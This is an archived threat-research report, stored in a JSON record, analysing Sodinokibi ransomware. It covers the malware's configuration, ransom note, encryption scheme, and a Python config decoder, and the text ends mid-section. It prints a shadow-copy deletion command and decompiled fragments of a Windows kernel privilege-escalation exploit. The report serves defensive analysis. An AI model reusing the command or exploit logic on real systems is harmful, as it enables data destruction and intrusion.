{
	"id": "f6419cad-7b8b-4974-ac79-cadebb73935c",
	"created_at": "2026-11-30T02:19:23.854953Z",
	"updated_at": "2026-11-30T02:22:32.60552Z",
	"deleted_at": null,
	"sha1_hash": "6df72313c1d670e99fbae4335d142b7ff3f73623",
	"title": "Threat Spotlight: Sodinokibi Ransomware",
	"llm_title": "Threat Spotlight: Sodinokibi Ransomware",
	"authors": "Cylance Threat Research Team, BlackBerry Cylance",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 132954,
	"plain_text": "https://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nThreat Spotlight: Sodinokibi Ransomware\n\nBy The Cylance Threat Research Team\n\nArchived: 2026-11-30 02:00:41 UTC\n\nSodinokibi is a new ransomware that has infected thousands of clients through managed security service providers\n\n(MSSPs). It also exploited vulnerabilities in remote services such as Oracle WebLogic (CVE-2019-2725) and\n\nemployed mass spam campaigns to proliferate during the Spring of 2019.\n\nBlackBerry® Cylance®'s Professional Services team recently observed an attack where the attackers leveraged\n\nGo2Assist via an MSSP to break into a customer's environment and deployed Passcape’s password recovery tool\n\nto steal credentials, before establishing a remote desktop connection via RDP into a domain controller, as well as\n\nconnecting to the victim's Symantec server and disabling it.\n\nThis paper contains fresh analysis of a related Sodinokibi sample uncovered by the BlackBerry Cylance threat\n\nresearch team.\n\nTechnical Analysis\n\nFile\n\nMD5\n\nSHA256\n\nSize\n\nFile type\n\nAlias\n\nCompile time\n\nFeatures\n\ne6566f78abf3075ebea6fd037803e176\n\n861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08\n\n160 KB (164,864 bytes)\n\nPE32 executable for MS Windows (GUI) Intel 80386 32-bit\n\nSodinokibi, Sodin, REvil\n\n2019-06-10 15:29:32\n\nPage 1 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nFile encryption using curve25519/Salsa20\n\nKey encryption using curve25519/AES-256-CTR\n\nUse of two public keys to encrypt the victim’s private key (possibly meaning that there are two entities that\n\ncan decrypt the files independently)\n\nUse of pseudo-random generation algorithm based on AES for encryption keys, IVs and URLs\n\nC2 obfuscation via large domain list (1079 domains)\n\nAsymmetric key scheduling algorithm prevents need for C2\n\nDisables recovery and deletes volume shadow copies\n\nExploits CVE-2018-8453 to perform privilege escalation\n\nUses \"Heaven's Gate\" method to execute 64-bit exploit code under a 32-bit process (on 64-bit operating\n\nsystems)\n\nAvoids executing on certain systems depending on the language code (largely related to former USSR\n\ncountries)\n\nBehavior Overview\n\nUpon execution, Sodinokibi will create a mutex with a hardcoded name Global\\206D87E0-0E60-DF25-DD8F-\n\n8E4E7D1E3BF0 and decrypt an embedded configuration.\n\nIf the exp parameter in the configuration is set, the malware will attempt to exploit CVE-2018-8453 in order to\n\ngain SYSTEM privileges (see the “Privilege escalation” section for more details). If not configured to execute the\n\nexploit, or if the attempt is unsuccessful, it will instead try to re-run itself as an administrator.\n\nSodinokibi gathers some basic system information and saves it to the registry together with the generated\n\nencryption parameters. If the dbg option is not set in the config, the UI language and keyboard layout values are\n\nCode\n\n0x818\n\n0x419\n\n0x819\n\n0x422\n\n0x423\n\nchecked, and the malware will simply exit on systems which use one of the following language codes:\n\nLanguage\n\nRomanian\n\nRussian\n\nRussian (Moldova)\n\nUkrainian\n\nBelarusian\n\nPage 2 of 29\n\n0x425\n\n0x426\n\n0x427\n\n0x428\n\n0x429\n\n0x42B\n\n0x42C\n\n0x437\n\n0x43F\n\n0x440\n\n0x442\n\n0x443\n\n0x444\n\n0x45A\n\n0x2801\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nEstonian*\n\nLatvian*\n\nLithuanian*\n\nTajik\n\nPersian*\n\nArmenian\n\nAzeri\n\nGeorgian\n\nKazakh\n\nKygyz\n\nTurkmen\n\nUzbek\n\nTatar\n\nSyrian\n\nArabic (Syria)\n\nPage 3 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nFigure 1: Excluded languages\n\n* The malware will exit only if the keyboard layout value belongs to these countries, but the OS language value is equal to one of the\n\nremaining languages.\n\nIf the system language is not one of the excluded languages, Sodinokibi will terminate all processes specified by\n\nthe prc value in the config and delete volume shadow copies before starting the file encryption routine.\n\ncmd.exe /c vssadmin.exe Delete Shadows /All /Quiet \u0026 bcdedit /set {default} recoveryenabled No \u0026 bcdedit /set\n\n{default} bootstatuspolicy ignoreallfailures\n\nFigure 2: Command-line to delete volume shadow copies and disable recovery\n\nThe ransomware will then proceed to encrypt all files on local drives, skipping files and folders included on the\n\nconfig’s exception list. Unless the executable was run with -nolan command line parameter, the malware will also\n\nattempt to encrypt files on network shares. The file encryption routine is discussed in detail in the “File\n\nencryption” section.\n\nEach encrypted file will be renamed by adding a previously generated pseudo-random extension, which is stored\n\nin the rnd_ext value in the registry. A README file will be dropped in each directory and the background\n\nwallpaper will be set with a ransom message:\n\nFigure 3: Desktop wallpaper and README file on an infected machine\n\nThe contents of the README file, as well as the ransom message, are again specified in the config.  The key\n\nrequested by the attackers is a combination of the victim’s system information and generated encryption metadata\n\n(needed to derive the decryption keys for the files), AES encrypted and base64 encoded (see “File encryption”\n\nsection for more details).\n\nOther parameters from the configuration that affect the malware’s behavior are wipe (if set, all the files in folders\n\nlisted under wfld will be zeroed out and deleted) and net (if set, the ransomware will broadcast the victim's system\n\ninformation to a range of domains listed in the dmn value in the config).\n\nString Encryption and Configuration\n\nAll strings are encrypted with RC4 using a random key of variable length and are decrypted on-the-fly before use.\n\nThe key differs for each string and is stored prior the encrypted string in the binary:\n\n.text:00401B1D                 lea     eax, [ebp+var_4]\n\n.text:00401B20                 push    eax             ; out buffer\n\n.text:00401B21                 push    3               ; string len\n\n.text:00401B23                 push    0Eh             ; RC4 key len\n\n.text:00401B25                 push    923h            ; RC4 key offset\n\nPage 4 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n.text:00401B2A                 push    offset encstr_1 ; encrypted string table\n\n.text:00401B2F                 call    decrypt_string  ; \"exp\"\n\nFigure 4: String decryption\n\nThe configuration is also RC4 encrypted and is stored together with a 32-byte decryption key, configuration\n\nchecksum and length value in a randomly named section prior to the .reloc section in the binary:\n\n.s7bz:0041E000 ; Section 4. (virtual address 0001E000)\n\n.s7bz:0041E000 ; Virtual size                  : 0000C800 (  51200.)\n\n.s7bz:0041E000 ; Section size in file          : 0000C800 (  51200.)\n\n.s7bz:0041E000 ; Offset to raw data for section: 0001B600\n\n.s7bz:0041E000 ; Flags C0000040: Data Readable Writable\n\n.s7bz:0041E000 ; Alignment     : default\n\n.s7bz:0041E000 ;\n\n===========================================================================\n\n.s7bz:0041E000\n\n.s7bz:0041E000 ; Segment type: Pure data\n\n.s7bz:0041E000 ; Segment permissions: Read/Write\n\n.s7bz:0041E000 _s7bz           segment para public 'DATA' use32\n\n.s7bz:0041E000                 assume cs:_s7bz\n\n.s7bz:0041E000                 ;org 41E000h\n\n.s7bz:0041E000 cfg_rc4key      db 68h, 38h, 35h, 72h, 68h, 54h, 56h, 58h, 61h, 76h, 4Dh, 45h\n\n.s7bz:0041E000                                         ; DATA XREF: decrypt_config+40↑o\n\n.s7bz:0041E000                 db 6Ah, 58h, 4Ah, 78h, 75h, 58h, 4Dh, 35h, 50h, 70h, 4Dh, 71h\n\n.s7bz:0041E000                 db 42h, 4Ah, 38h, 76h, 38h, 4Dh, 4Dh, 51h\n\n.s7bz:0041E020 cfg_hash        dd 0AE445D33h           ; DATA XREF: decrypt_config+17↑r\n\n.s7bz:0041E024 cfg_len         dd 25742                ; DATA XREF: decrypt_config+1↑r\n\n.s7bz:0041E024                                         ; decrypt_config+24↑r ...\n\n.s7bz:0041E028 enc_cfg         db 0B5h, 14h, 0C7h, 67h, 5Dh, 0C9h, 0EDh, 29h, 0CAh, 73h, 7Bh, 7\n\n.s7bz:0041E028                                         ; DATA XREF: decrypt_config+7↑o\n\n.s7bz:0041E028                 db 22h, 0AAh, 0E4h, 12h, 73h, 3Bh, 8Dh, 0A6h, 0C2h, 6Fh, 16h, 2Ch\n\nFigure 5: Encrypted configuration and RC4 key in randomly named section\n\nOnce decrypted, the configuration is described using JavaScript Object Notation (JSON):\n\n{\n\n\"dbg\": false,\n\n\"dmn\": \"\",\n\n\"exp\": true,\n\n\"fast\": true,\n\n\"img\": \"\",\n\n\"nbody\": \"\",\n\nPage 5 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n\"net\": true,\n\n\"nname\": \"{EXT}-readme.txt\",\n\n\"pid\": \"33\",\n\n\"pk\": \"/SvNLPYVd04yhjQWFntNHZ0bsHYz2DzRIF+HjkQuTmE=\",\n\n\"prc\": [\n\n\"sqlagent.exe\",\n\n\"sqbcoreservice.exe\",\n\n\"mysqld_opt.exe\",\n\n\"synctime.exe\",\n\n\"excel.exe\",\n\n\"thebat64.exe\",\n\n\"onenote.exe\",\n\n\"tbirdconfig.exe\",\n\n\"powerpnt.exe\",\n\n\"xfssvccon.exe\",\n\n\"oracle.exe\",\n\n\"infopath.exe\",\n\n\"mydesktopqos.exe\",\n\n\"dbsnmp.exe\",\n\n\"sqlbrowser.exe\",\n\n\"mysqld.exe\",\n\n\"sqlservr.exe\",\n\n\"wordpad.exe\",\n\n\"thebat.exe\",\n\n\"agntsvc.exe\",\n\n\"thunderbird.exe\",\n\n\"encsvc.exe\",\n\n\"ocomm.exe\",\n\n\"winword.exe\",\n\n\"msaccess.exe\",\n\n\"dbeng50.exe\",\n\n\"firefoxconfig.exe\",\n\n\"isqlplussvc.exe\",\n\n\"ocssd.exe\",\n\n\"visio.exe\",\n\n\"mydesktopservice.exe\",\n\n\"sqlwriter.exe\",\n\n\"ocautoupds.exe\",\n\n\"mysqld_nt.exe\",\n\n\"msftesql.exe\",\n\n\"mspub.exe\",\n\n\"outlook.exe\",\n\nPage 6 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n\"steam.exe\"\n\n],\n\n\"sub\": \"331\",\n\n\"wfld\": [\n\n\"backup\"\n\n],\n\n\"wht\": {\n\n\"ext\": [\n\n\"shs\",\n\n\"bin\",\n\n\"msp\",\n\n\"hta\",\n\n\"mod\",\n\n\"wpx\",\n\n\"msi\",\n\n\"sys\",\n\n\"ics\",\n\n\"cmd\",\n\n\"rtp\",\n\n\"nomedia\",\n\n\"scr\",\n\n\"cur\",\n\n\"prf\",\n\n\"msu\",\n\n\"nls\",\n\n\"icl\",\n\n\"ps1\",\n\n\"bat\",\n\n\"lnk\",\n\n\"theme\",\n\n\"adv\",\n\n\"deskthemepack\",\n\n\"diagcab\",\n\n\"msc\",\n\n\"lock\",\n\n\"key\",\n\n\"ocx\",\n\n\"hlp\",\n\n\"msstyles\",\n\n\"mpa\",\n\n\"diagcfg\",\n\n\"icns\",\n\nPage 7 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n\"rom\",\n\n\"dll\",\n\n\"com\",\n\n\"idx\",\n\n\"cab\",\n\n\"exe\",\n\n\"spl\",\n\n\"drv\",\n\n\"themepack\",\n\n\"diagpkg\",\n\n\"ani\",\n\n\"386\",\n\n\"ico\",\n\n\"ldf\",\n\n\"cpl\"\n\n],\n\n\"fld\": [\n\n\"boot\",\n\n\"msocache\",\n\n\"programdata\",\n\n\"$windows.~ws\",\n\n\"tor browser\",\n\n\"program files (x86)\",\n\n\"$recycle.bin\",\n\n\"google\",\n\n\"$windows.~bt\",\n\n\"intel\",\n\n\"windows\",\n\n\"windows.old\",\n\n\"mozilla\",\n\n\"system volume information\",\n\n\"perflogs\",\n\n\"application data\",\n\n\"appdata\",\n\n\"program files\"\n\n],\n\n\"fls\": [\n\n\"desktop.ini\",\n\n\"autorun.inf\",\n\n\"ntldr\",\n\n\"bootsect.bak\",\n\n\"ntuser.dat\",\n\nPage 8 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n\"boot.ini\",\n\n\"thumbs.db\",\n\n\"bootfont.bin\",\n\n\"ntuser.dat.log\",\n\n\"iconcache.db\",\n\n\"ntuser.ini\"\n\n]\n\n},\n\n\"wipe\": true\n\n}\n\nFigure 6: JSON configuration file\n\nAll of your files are encrypted!\n\nFind {EXT}-readme.txt and follow instructions\n\nFigure 7: Base64 decoded img value from the configuration\n\n---=== Welcome. Again. ===---\n\n[+] Whats Happen? [+]\n\nYour files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion\n\n{EXT}.\n\nBy the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you\n\ncant return your data (NEVER).\n\n[+] What guarantees? [+]\n\nIts just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our\n\nwork and liabilities - nobody will not cooperate with us. Its not in our interests.\n\nTo check the ability of returning files, You should go to our website. There you can decrypt one file for free. That\n\nis our guarantee.\n\nIf you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause\n\njust we have the private key. In practise - time is much more valuable than money.\n\n[+] How to get access on website? [+]\n\nYou have two ways:\n\n1) [Recommended] Using a TOR browser!\n\na) Download and install TOR browser from this site: https://torproject.org/\n\nb) Open our website: hxxxp:// aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd [dot]\n\nonion/{UID}\n\nPage 9 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:\n\na) Open your any browser (Chrome, Firefox, Opera, IE, Edge)\n\nb) Open our secondary website: hxxxp:// decryptor [dot] top/{UID}\n\nWarning: secondary website can be blocked, thats why first variant much better and more available.\n\nWhen you open our website, put the following data in the input form:\n\nKey:\n\n{KEY}\n\nExtension name:\n\n{EXT}\n\n-----------------------------------------------------------------------------------------\n\n!!! DANGER !!!\n\nDONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus\n\nsolutions - its may entail damge of the private key and, as result, The Loss all data.\n\n!!! !!! !!!\n\nONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make\n\neverything for restoring, but please should not interfere.\n\n!!! !!! !!!\n\nFigure 8: Base64 decoded nbody value from the configuration\n\nKey Type\n\nprc Array of strings\n\ndmn String\n\nimg String (Base64 encoded)\n\npid String (Integer)\n\nsub String (Integer)\n\nDescription\n\nProcess names to terminate\n\nSemi-colon separated list of domain names\n\nMessage to display on desktop wallpaper\n\nActor ID\n\nCampaign ID\n\nPage 10 of 29\n\nfast Boolean\n\nwfld Array of strings\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nEnable fast mode (encrypt only the first 1 MB of each file)\n\nFolders to wipe\n\nwht Object\n\nwht.fld Array of strings\n\nwht.fls Array of strings\n\nwht.ext Array of strings\n\ndbg Boolean\n\nexp Boolean\n\npk String (Base64 encoded)\n\nnet Boolean\n\nwipe Boolean\n\nnname String (Base64 encoded)\n\nnbody String (Base64 encoded)\n\nFigure 9: Configuration field details\n\nrequires Python scandir and pefile modules:\n\nWhitelist\n\nFolders to whitelist from encryption\n\nFiles to whitelist from encryption\n\nFile extensions to whitelist from encryption\n\nDebug mode. If set, don't check for keyboard layout\n\nEnable privilege escalation “exploit” (CVE-2018-8453)\n\nAttacker’s public encryption key (256-bit)\n\nSend HTTP POST request to domains\n\nIf true, then wipe files in specified folders\n\nReadme filename\n\nReadme file contents\n\nWe wrote a configuration decoder that should work with the currently known versions of Sodinokibi. The script\n\nPage 11 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n\"\"\"Extract Sodinokibi ransomware configuration from a given exe/folder of exes\"\"\"\n\nimport os\n\nimport sys\n\nimport scandir\n\nimport pefile\n\nimport string\n\nimport struct\n\nimport json\n\ndef rc4(key, enc_data):\n\ndec = \"\"\n\nenc = []\n\nenclen = len(enc_data)\n\nkeylen = len(key)\n\nrc4key = [ord(c) for c in key]\n\nfor i in range(enclen):\n\nenc.append(ord(enc_data[i]))\n\ns = range(256)\n\nj = 0\n\nfor i in range(256):\n\nj = (j + s[i] + rc4key[i % keylen]) % 256\n\ns[i], s[j] = s[j], s[i]    i = 0\n\nj = 0\n\nkeystream = []\n\nfor i in range(enclen):\n\ni = (i + 1) % 256\n\nj = (j + s[i]) % 256\n\ns[i], s[j] = s[j], s[i]\n\nk = s[(s[i] + s[j]) % 256]\n\nkeystream.append(k)    for e, k in zip(enc, keystream):\n\ndec += chr(e ^ k)\n\nreturn dec\n\ndef extract_sodinokibi_config(filename):\n\nprint(filename)\n\ntry:\n\npe = pefile.PE(filename)\n\nsection = pe.sections[3]\n\ndata = section.get_data()\n\nPage 12 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nenc_len = struct.unpack('I', data[0x24:0x28])[0]\n\ndec_data = rc4(data[0:32], data[0x28:enc_len + 0x28])\n\nprint(json.dumps(json.loads(filter(lambda x: x in string.printable, dec_data)), indent=2, sort_keys=True))\n\nexcept Exception as e:\n\nprint(\"ERROR - {}\".format(e))\n\ndef main():\n\nif os.path.isdir(sys.argv[1]):\n\nfor root, dirs, files in scandir.walk(sys.argv[1]):\n\nfor file in files:\n\nextract_sodinokibi_config(os.path.join(root, file))\n\nelse:\n\nextract_sodinokibi_config(sys.argv[1])\n\nif __name__ == \"__main__\":\n\ntry:\n\nmain()\n\nexcept KeyboardInterrupt:\n\npass\n\nFigure 10: Python script for decoding configuration\n\nPrivilege Escalation\n\nIf the exp (exploit) value in the config is set to \"true\", and the file timestamps of win32k.sys and win32kfull.sys\n\nare below 2018/09/11-00:00:00, the malware will attempt to exploit a vulnerability in win32k.sys (CVE-2018-\n\n8453) in order to perform privilege escalation to elevate to SYSTEM, before running the ransomware routine.\n\nBoth 32-bit and 64-bit versions of the exploit code are stored inside the .rdata section of the binary and depending\n\non the system architecture one of these code portions will be copied to a readable/writable/executable (RWX)\n\nmemory region and executed.\n\nThen things get very interesting. Despite being a 32-bit application, Sodinokibi contains both 32 and 64-bit exploit\n\ncode. When Sodinokibi detects that it is running as a 32-bit process on a 64-bit system, it will utilize a seldom\n\nseen technique called \"Heaven's Gate\" to transition to 64-bit mode, and repeatedly switch in and out of 32/64-bit\n\nmode whilst running portions of the exploit code. The actual transition is also interesting, in that it calls into the\n\nmiddle of an opcode (push 0x00cb0033) to trigger the switch from 32 to 64-bit mode.\n\nIn the code below, the x86_to_x64 function will preserve the code-selector (CS) register on the stack (which will\n\nbe 0x23 for x86 mode). After calling into the Heaven's_Gate function, the value 0x00CB0033 is pushed to the\n\nstack, and the next call instruction will call into the middle of the push opcode, starting at the 0xCB byte, which\n\ncorresponds to a retf opcode.\n\nThe retf differs from a regular ret opcode in that it will not only pop the return address off the stack, but also a new\n\nCS value, in this case 0x33. With the new CS value in place, the segment-selector will now point to a different\n\nPage 13 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nGDT entry that has a bit set to specify that it is an x64 code descriptor, and execution will then resume after the\n\nfinal call instruction in 64-bit mode. Returning from 64-bit mode back to 32-bit is a simple reverse operation using\n\na retf with the 32-bit CS (0x23) and EIP on the stack:\n\ndebug032:00075DF0 x86_to_x64 proc near\n\ndebug032:00075DF0 push    ebp\n\ndebug032:00075DF1 mov     ebp, esp\n\ndebug032:00075DF3 push    ebx\n\ndebug032:00075DF4 push    esi\n\ndebug032:00075DF5 push    edi\n\ndebug032:00075DF6 push    cs                       ; Preserve x86 CS\n\ndebug032:00075DF7 call    heavens_gate\n\ndebug032:00075DFC pop     edi\n\ndebug032:00075DFD pop     esi\n\ndebug032:00075DFE pop     ebx\n\ndebug032:00075DFF leave\n\ndebug032:00075E00 retn\n\ndebug032:00075E00 x86_to_x64 endp\n\ndebug032:00075E00\n\ndebug032:00075E01 heavens_gate:\n\ndebug032:00075E01 push    0CB0033h                 ; 0xCB = retf, 0x33 = new CS (x64)\n\ndebug032:00075E06 call    near ptr heavens_gate+3debug032:00075E0B inc     ecx                      ; Execution\n\nresumes in x64 mode\n\nFigure 11: Heaven's Gate\n\nRegardless of the x86/64 code path taken, and the fact that the x64 code requires considerably more loading (as it\n\nhas to walk the imports for Sodinokibi and load all libraries and resolve all imports), both the x86/64 exploit code\n\nultimately operate in a relatively similar manner, broadly in line with previous research from Kaspersky, although\n\ncontaining subtle differences to heap feng shui routines and certain class names.\n\nThe exploit ultimately operates by hooking functions in the KernelCallbackTable (fnDWORD, fnNCDESTROY,\n\nand fnINLPCREATESTRUCT):\n\nFigure 12: Hooks in KernelCallbackTable\n\nThe exploit code first creates a window named \"sysshadow\", as well as a scrollbar:\n\nlParam)\n\n{\n\nLPVOID v1; // esi\n\nDWORD dwClassLong; // eax\n\nint __stdcall CreateScrollBarWindowProc(HWND hWndParent, UINT uMsg, WPARAM wParam, LPARAM\n\nPage 14 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nv1 = TlsGetValue(dwTlsIndex);\n\nif ( v1 )\n\n{\n\nif ( uMsg == 1 )\n\n{\n\n*((_DWORD *)v1 + 64) = CreateWindowExA(0, ”SCROLLBAR”, 0, 0x50000001u, 0, 0, 0, 0, hWndParent,\n\n0, hInstance, 0);\n\ndwClassLong = GetClassLongA(hWndParent, GCL_STYLE);\n\nSetClassLongA(hWndParent, GCL_STYLE, dwClassLong | 0x20000);\n\n}\n\nelse\n\n{\n\nif ( uMsg != 2 )\n\nreturn NtdllDefWindowProc_A(hWndParent, uMsg, wParam, lParam);\n\nPostQuitMessage(0);\n\n}\n\n}\n\nreturn 0;\n\n}\n\nFigure 13: Scrollbar creation\n\nAfter which it sets the window position under the fnINLPCREATESTRUCT hook:\n\nint __stdcall fnINLPCREATESTRUCT_hook_x86(int a1)\n\n{\n\n_DWORD *v1; // esi\n\nint v2; // ebx\n\nBOOL v3; // eax\n\nCHAR ClassName; // [esp+8h] [ebp-104h]\n\nv1 = TlsGetValue(dwTlsIndex);\n\nif ( v1 )\n\n{\n\nif ( a1 )\n\n{\n\nif ( GetCurrentThreadId() == v1[53] )\n\n{\n\nv2 = **(_DWORD **)(a1 + 24);\n\nif ( GetClassNameA(**(HWND **)(a1 + 24), \u0026ClassName, 260) )\n\n{\n\nif ( !v1[65] )\n\n{\n\nif ( strcmpi(\u0026ClassName, ”sysshadow”) )\n\nPage 15 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n{\n\nif ( strcmpi(\u0026ClassName, ” msctfime ui”) )\n\nreturn fnINLPCREATESTRUCT(a1);\n\nv3 = 1;\n\n}\n\nelse\n\n{\n\nv1[65] = v2;\n\nv3 = v1[79] == 0;\n\n}\n\nif ( v3 )\n\nset_window_pos(v1);\n\n}\n\n}\n\n}\n\n}\n\n}\n\nreturn fnINLPCREATESTRUCT (a1);\n\n}\n\nFigure 14: fnINLPCREATESTRUCT hook\n\nThe fnDWORD hook is trigged by issuing a left mouse click to the scrollbar:\n\nPostMessageA(*((HWND *)lpThreadParameter + 64), WM_LBUTTONDOWN, 1u, 1);\n\nFrom within the fnDWORD hook, the scrollbar is ultimately freed…\n\nDWORD __stdcall fnDWORD_hook_x86(int a1)\n\n{\n\nint v1; // ebx\n\nDWORD result; // eax\n\n_DWORD *v3; // esi\n\nHWND v4; // [esp-8h] [ebp-Ch]\n\nv1 = *(unsigned __int16 *)(a1 + 4);\n\nif ( (_WORD)v1 == 647 )\n\n{\n\na1 = 0;\n\nreturn NtCallbackReturn(\u0026a1, 12, 0);\n\n}\n\nPage 16 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nv3 = TlsGetValue(dwTlsIndex);\n\nif ( !v3 )\n\ngoto LABEL_14;\n\nresult = GetCurrentThreadId();\n\nif ( result != v3[53] || !*((_BYTE *)v3 + 332) || v3[51] )\n\ngoto LABEL_14;\n\nif ( !v3[80] || v1 != 31 )\n\n{\n\nif ( version_sth_0 \u003c 16 \u0026\u0026 v1 == 6 )\n\nset_window_pos(v3);\n\nif ( v1 == 112 )\n\n{\n\nv4 = (HWND)v3[62];\n\n*((_BYTE *)v3 + 332) = 2;\n\nSetActiveWindow(v4);\n\nSendMessageA((HWND)v3[62], WM_SYSCOMMAND, SC_KEYMENU, 0);\n\nDestroyWindow((HWND)v3[64]);\n\n*((_BYTE *)v3 + 332) = 4;\n\n}\n\nLABEL_14:\n\nresult = fnDWORD(a1);\n\n}\n\nreturn result;\n\n}\n\nFigure 15: fnDWORD hook\n\n… leading to the fnNCDESTROY hook gaining execution, where calling NtUserSetWindowFNID erroneously\n\nallows the free'd scrollbar to be marked as a button (instead of free). This causes the \"sysshadow\" window to\n\nretain a reference to the free'd memory:\n\n_WORD *__stdcall fnNCDESTROY_hook_x86(_DWORD **a1)\n\n{\n\n\u003csnip\u003e\n\nSendMessageA(v20, WM_CANCELMODE, 0, 0);\n\nv17 = (HWND *)(v4 + 681);\n\ndo\n\n{\n\nSetClassLongW(*v17, GCL_MENUNAME, 0);\n\nv17 += 5;\n\n--v11;\n\n}\n\nwhile ( v11 );\n\nPage 17 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nv18 = (HWND *)(v4 + 6825);\n\nv19 = 128;\n\ndo\n\n{\n\n*(_DWORD *)(v4 + 8) = v23++;\n\nSetClassLongW(*v18, GCL_MENUNAME, v4);\n\nv18 += 4;\n\n--v19;\n\n}\n\nwhile ( v19 );\n\nresult = v22;\n\nv1 = 1;\n\nv8 = v21;\n\n}\n\n+ 324) )\n\nif ( v8 == *(_DWORD *)(v4 + 260) \u0026\u0026 *result == (unsigned __int16)FNID_FREED \u0026\u0026 !*(_DWORD *)(v4\n\n{\n\nresult = (_WORD *)NtUserSetWindowFNID(*(_DWORD *)(v4 + 244), FNID_BUTTON);\n\n*(_DWORD *)(v4 + 324) = result;\n\nv1 = 1;\n\n}\n\nif ( !v1 )\n\n{\n\nv3 = a1;\n\nLABEL_26:\n\nresult = (_WORD *)fnNCDESTROY(v3);\n\n}\n\nreturn result;\n\n}\n\nFigure 16: fnNCDESTROY hook\n\nHeap feng shui is then triggered from a windows event hook when the EVENT_OBJECT_DESTROY event\n\noccurs on the scrollbar, in order to reclaim the freed memory:\n\nint __fastcall ntuser_thunked_menu_item_info(_DWORD *a1, int a2, int a3)\n\n{\n\nint result; // eax\n\nint *v4; // edi\n\nint v5; // ebx\n\nint v6; // [esp-18h] [ebp-5Ch]\n\nMENUITEMINFOW sMenuItemInfo; // [esp+Ch] [ebp-38h]\n\nint v8; // [esp+3Ch] [ebp-8h]\n\nPage 18 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nresult = 0;\n\nv8 = a2;\n\nv4 = a1;\n\nif ( a3 )\n\n{\n\nif ( windows_10_version == 10 )\n\nv5 = ' ';\n\nelse\n\nv5 = aDp8lDp8lDp8l_0[7 * windows_10_version + 6];\n\nj_memset(\u0026sMenuItemInfo, 0, 48);\n\nsMenuItemInfo.cbSize = sizeof(MENUITEMINFOW);\n\nsMenuItemInfo.fMask = MIIM_ID;\n\nsMenuItemInfo.wID = a3 - v5;\n\nresult = NtUserThunkedMenuItemInfo(v4[59], v4[73] + 9, 1, 0, (int)\u0026sMenuItemInfo, 0);\n\nif ( result )\n\n{\n\nsMenuItemInfo.dwItemData = v8;\n\nv6 = v4[60];\n\nsMenuItemInfo.fMask = MIIM_DATA;\n\nresult = NtUserThunkedMenuItemInfo(v6, 0, 1, 0, (int)\u0026sMenuItemInfo, 0);\n\n}\n\n}\n\nreturn result;\n\n}\n\nFigure 17: Portion of heap feng shui code\n\nWith the freed memory reclaimed, the exploit then establishes and operates arbitrary kernel memory read/write\n\nprimitives, which are used to locate the System process token from the EPROCESS structure and copy it to its\n\nown EPROCESS structure, resulting in SYSTEM privileges for the ransomware:\n\nFigure 18: Ransomware now running as SYSTEM\n\nGiven the complexities of the exploit, heap feng shui, and trigger mechanisms, BlackBerry Cylance researchers\n\naim to explore this further as part of a separate blog article.\n\nFile Encryption\n\nIn terms of encryption, Sodinokibi uses a symmetric algorithm (Salsa20 for files, AES-256-CTR for registry\n\nvalues and C2 beacons) in conjunction with an asymmetric key exchange method based on the curve25519\n\nimplementation.\n\nIn the first step, a main curve25519 key pair is generated for the victim. The public key from this pair will later be\n\nused to derive the Salsa20 keys for file encryption. The secret/private key (needed for file decryption) is initiated\n\nPage 19 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nusing a fairly sophisticated AES-based 